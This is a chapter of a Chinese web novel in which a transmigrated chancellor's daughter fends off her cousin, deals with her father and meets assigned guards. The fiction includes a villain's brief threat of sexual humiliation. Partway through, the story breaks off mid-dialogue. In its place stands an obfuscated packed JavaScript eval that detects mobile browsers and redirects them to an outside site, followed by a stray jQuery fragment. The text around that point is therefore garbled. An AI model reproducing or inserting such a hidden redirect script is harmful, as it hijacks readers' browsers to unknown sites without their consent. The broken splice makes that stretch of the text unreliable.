“宁儿!”
见温长宁如同没听见一般,聂远志加快了脚步,追上温长宁,拦在她的去路上。
“宁儿,你不是来找我的吗?我叫你你怎么不应我?”
温长宁看着一袭书生长袍,气质温润的男子,眉间微蹙,后退两步,与之拉开距离。
这便是原主为之倾心的表哥聂远志?
模样只能说清秀,别说与仙人临尘的裴君泽相比,便是府上的几位公子,单论相貌,谁不比他出色几分?
眼睛深处的算计,同曾经那些带着目的接近她的人,一般无二。
一声“宁儿”更是唤得她鸡皮疙瘩都起来了。
原主怎会看上他?
“聂表哥,你还是唤我表妹吧!”
温长宁语气冷淡,“那般称呼,让旁人听了去,岂不是徒增误会?”
“宁儿,不是你让我这般唤你的吗?”聂远志含笑的眼中闪过一丝讶异。
“聂表哥说笑了,你我虽是表兄妹,但此前并无交集。表哥是读书之人,应当懂得男女授受不亲的道理。”
“表哥以后若还是这般言出无状,我便只能禀告父亲了。”温长宁的话音中带上了一丝警告的意味。
不论原主与聂远志有着怎样的过往,二人之间又许下过怎样的承诺,都与她无关。
她占了原主的身体,不代表她要按照原主的人生轨迹走。
聂远志眼神微闪,轻叹了一声:“宁儿,我知这定不是你的真心话。是迫于舅舅相逼的违心之言,对不对?”
“那日你未曾赴约,二表妹都和我说了,是舅舅拦住了你。我不会怪你。”
“都是我无用,无法得到舅舅认可,让他将你许配给我。”聂远志拳头紧握,脸上浮现出一抹痛苦之色。
“但是宁儿你放心,为了你,我一定努力读书,出人头地。等将来高中状元,让你做人人艳羡的状元郎夫人。”聂远志语声慷慨激昂,言辞恳切。
真是画的好大的一张饼。
也就哄哄原主这种被话本子荼毒,满脑子风花雪月才子佳人的傻白甜了。
温长宁后退一步避开聂远志来拉她的手,眼中闪过一丝懊恼。
回府后,她便解了染过血的红菱鞭和匕首让海棠拿去清洗,谁承想,走一趟前院竟被聂远志这伪君子纠缠上。
她有洁癖,碰不得脏东西。
不过没关系——
温长宁一脚踹在聂远志腹部,将人踹倒在地。
居高临下迎着聂远志不可置信的眼神,温长宁语声冷冽:“这话,今日我再说第二遍,别再叫我宁儿。耳朵是用来听话的,不是用来当摆设的,再有下次,你的耳朵便别要了。”
说完,便绕过聂远志,继续往前院书房去。
聂远志捂着腹部,转过头看着温长宁的背影,眼中满是阴翳。
温长宁,今日你敢如此对我,待来日你嫁给我,我必要你以最屈辱的姿态在我身下承欢,彻底打碎你的傲骨……
“大小姐,还请留步,书房重地,无相爷允许,任何人不得擅入。”
“那便劳你去通报父亲,就说我有事求见。”温长宁对伸手拦着自己的护卫道。
“大小姐稍等。”
护卫很快去而复返,对温长宁道:“大小姐,相爷让您进去。”
闻言,剩下那名护卫这才放下阻拦的手。
温长宁进门的时候,温明谦正坐在书案前写着什么,听见门被推开的声音,一心二用道:“又是来告状的?”
告状?
温长宁眨了眨眼睛,这话也没错,便道:“是,父亲。”
温明谦头都没抬,手上的动作不停,“你姑母如今贵为太后,自然不喜有人忤逆于她。你既说自己看尽世间人情冷暖,便该长进一些。在你姑母面前也收着些性子,别再惹她不快。”
温长宁心里冷笑了一声。
就知道这便宜爹指望不上。
他和温太后是利益共同体,至于女儿,不过是一枚必要时可以牺牲的棋子。
“父亲,您误会了。我并非为告姑母的状而来。”
“今日我出宫回府的路上,遇上了京兆府尹的儿子,他骂我,还扬言要将我抢回府中折辱。”
温长宁踱步到书案前,“父亲,您可要为我讨回一个公道。”
“你不是,已经教训过他了?”温明谦语声悠悠。
温长宁心中一颤,脸上的惊讶不需要伪装:“父亲,您怎么知道?”
心下却已然知晓答案。
温明谦派人跟着她了。
“我派了人在暗中保护你。三月之后便要正式开始选秀,我温家正如日中天,你姑母又是太后,不想你入宫的人太多,不得不防。”温明谦将笔搁在笔洗上,打量着自己写的字。
“多谢父亲。”温长宁福身行了一礼。
说是保护,但也是监视。
温长宁心中了然,也跟着垂眸看桌上那副字。
起笔如铁锥画沙,收笔似断金裂石,每一笔都暗藏锋芒。
都说字如其人。
从这字中,便可以看出温明谦的昭然野心。
就是不知,跟着她的那人是否有听到她和虎子的对话。
若是听到了,温明谦虽不会猜到自己已经知晓贪墨一事并故意对他隐瞒,但是温明谦若是参与其中,他一定会把自己的痕迹抹得干干净净。
“虽然教训过了,但我觉得不够解气。”温长宁回答温明谦先前的问题。
“那你想怎么做?”温明谦瞅了眼温长宁,问她。
一味溺爱不分是非的娘,纵恶养奸徇私枉法的爹,和仗势欺人鱼肉百姓的他。
温长宁回想着贺霖元的所言所行,得出了这样的结论。
这还是在天子脚下,便如此猖狂。
可想而知,在调任京城之前,这贺洵任并州刺史期间,贺霖元是何等的无法无天。
——天凉了,让王氏破产吧!
温长宁不合时宜地想起了现代的霸总语录。
“天凉了。”温长宁试图牵动唇角,却没能如愿。
“嗯?”温明谦奇怪地看了她一眼,又看看窗外。
现在是三月末,正是天气转暖的时候,何来‘天凉了’一说?
“让贺家满门抄斩吧!”温长宁听见自己这样说。
温明谦抬眸,目光在温长宁脸上定格一瞬,语气轻描淡写道:“那,明日早朝我便让御史台弹劾贺洵。”
又低下头继续去看自己写的字:“若无其它事,你便回去吧!”
“是,父亲。”
回到卧房,温长宁走到梳妆台前坐下,看着铜镜中那张陌生的脸。
让贺家满门抄斩吧!
满门抄斩吧……
抄斩吧……
温长宁的灵魂彷佛脱离躯壳回到了一刻钟之前的温明谦书房内。
看着那个陌生又熟悉的人,面不改色地说出灭人满门的话。
温长宁跟铜镜里那双漂亮的凤眼对视着。
好像,只有这双没什么温度和情绪波澜的眼睛没变。
或许,她那些亲戚说的没错,她就是一个冷血的怪物。
“小姐,相爷让我提醒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042292|178832||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
您。”
温长宁转过身,看着突然出现在屋里一身黑衣的女子。
“你是?”
“我叫凝霜,是相爷派来保护小姐的。”
温长宁看着单膝跪地的人,点了点头,道:“哦,你起来吧!父亲说了什么?”
“暗卫有规矩,见主子时,不可让主子仰首。主子坐时,需跪听主子训示。”
“相爷派人去莲花镇石桥村查过那对母子了,赵虎所言非虚。但相爷的人还查到,在赵虎的父亲赵铁柱死后,有一段时间,村里的地痞流氓想要趁夜潜入他们家欺辱赵虎之母,但这些人最后都疯了。”
“疯了?”温长宁低声重复了一遍。
“是。据被请去为他们看诊的大夫所言,这些人都是因惊惧过度,吓疯的。”凝霜道。
“因这些吓疯的人嘴里一直念叨‘有鬼’,石桥村便有传言说赵铁柱的鬼魂死后回到了家里,在守护自己的妻儿,这些人都是被赵铁柱的鬼魂吓疯的。”
“不过也有传言说杏花是灾星,靠近她便会变得不幸。”
“相爷的意思是,这对母子有问题,不可信,让小姐您尽快将人送出温府。”
温长宁没回应凝霜的话,沉默一会儿,问道:“父亲派的人,除了你,还有别人吗?”
“还有一人,名凝雪。”
凝霜话音刚落,又有一名身着黑衣的女子出现在面前,对温长宁单膝跪地抱拳道:“凝雪见过小姐。”
温长宁的目光在两人身上打量了一会儿,问她们:“你们从今日我出府后就一直跟着我了?”
“是,小姐,但我们没进皇宫。皇宫守卫森严,我们无法在不惊动宫门守卫的情况下潜入皇宫。”
温长宁心下叹息一声。
这两人今日跟着她,她竟无半点察觉。
在现代她为自保学过散打和跆拳道,原主小时候也练过武,有些武功底子,可在这些经过精心培养的暗卫面前还是不够看。
习武也得提上日程了。
“你去告诉父亲,这事我心里有分寸。”温长宁从沉思中回过神,对凝霜道,“我不会让他们有机会做对相府不利的事情。”
“是。小姐。”
凝霜离开后,温长宁眉心微蹙。
有温明谦的人在身边,她做什么事情都不方便。
得想个办法……
临近傍晚的时候,温长宁觉着饿了要让海棠传膳的当口,才想起来还有家宴这回事。
温家的主子比起那些传承百年的世家来不算多,但绝对说不上人丁单薄。
温明谦上头还有一位老太太,这位老太太生了二女一子,温明谦排行属二。
上头的大姐和弟妹年岁相差较大,在温明谦考中秀才之后嫁给了县里的县丞聂鸿,聂远志便是他们的独子。
小女儿便是如今宫中的温太后。
温明谦娶妻威远侯府嫡幼女林婉清,也就是她现在的母亲。
除此之外,还有三位姨娘,为温家诞下了四个庶子女。
她的上头还有三个嫡亲哥哥,除了大哥娶妻武安侯府嫡长女阮静姝之外,另外两个哥哥都还没有成亲。
即使是在多子多福的古代,也可以说得上是枝繁叶茂了。
温家人平时都是在各自的院子里用膳,只每半个月一次的家宴会聚在一起。
温长宁在回忆着温家的家庭成员,不知不觉便到了花厅外。
“哼!让一大家子等你一个人,你的规矩呢?”
温长宁一只脚才迈过花厅的门槛,坐在正对着大门的主位上的温老太太便发难了。